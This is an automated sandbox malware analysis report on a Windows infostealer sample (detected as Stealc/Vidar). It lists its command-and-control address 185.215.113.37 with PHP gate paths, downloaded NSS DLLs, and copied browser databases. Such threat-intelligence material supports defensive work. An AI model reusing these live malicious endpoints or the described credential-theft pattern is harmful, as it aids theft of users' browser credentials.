https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2380259591.0000000029A51000.00000004.00000020.00020000.00000000.sdmp, BGDBKKFHIEGDHJKECAAK.0.dr	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HCAAEBKEGHJKEBFHJDBFCFBKKJ.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp, CBAKJKJJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php1	file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2380259591.0000000029A51000.00000004.00000020.00020000.00000000.sdmp, BGDBKKFHIEGDHJKECAAK.0.dr	false	0%, Virustotal, Browse	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2380259591.0000000029A51000.00000004.00000020.00020000.00000000.sdmp, BGDBKKFHIEGDHJKECAAK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse	unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp, CBAKJKJJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpy	file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	HCAAEBKEGHJKEBFHJDBFCFBKKJ.0.dr	false		unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2380259591.0000000029A51000.00000004.00000020.00020000.00000000.sdmp, BGDBKKFHIEGDHJKECAAK.0.dr	false	0%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpwser	file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2380259591.0000000029A51000.00000004.00000020.00020000.00000000.sdmp, BGDBKKFHIEGDHJKECAAK.0.dr	false		unknown
https://support.mozilla.org	HCAAEBKEGHJKEBFHJDBFCFBKKJ.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	CBAKJKJJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dlll	file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2374894019.000000001D97A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386696196.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1521673
Start date and time:	2024-09-29 01:59:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 76 Number of non-executed functions: 48
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse

Created / dropped Files

C:\ProgramData\BGDBKKFHIEGDHJKECAAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CBAKJKJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGCBAFIJDGHCAKECAEGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHJDGHIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHJDGHIJDGCBAAAAAFIJDAECGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGHJEBGHJKEBFHIJDHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAAEBKEGHJKEBFHJDBFCFBKKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAKFBGCBFHIJKECGIIJKJKJKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDGHDGIDAKEBAAKFCGHCBAKJDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
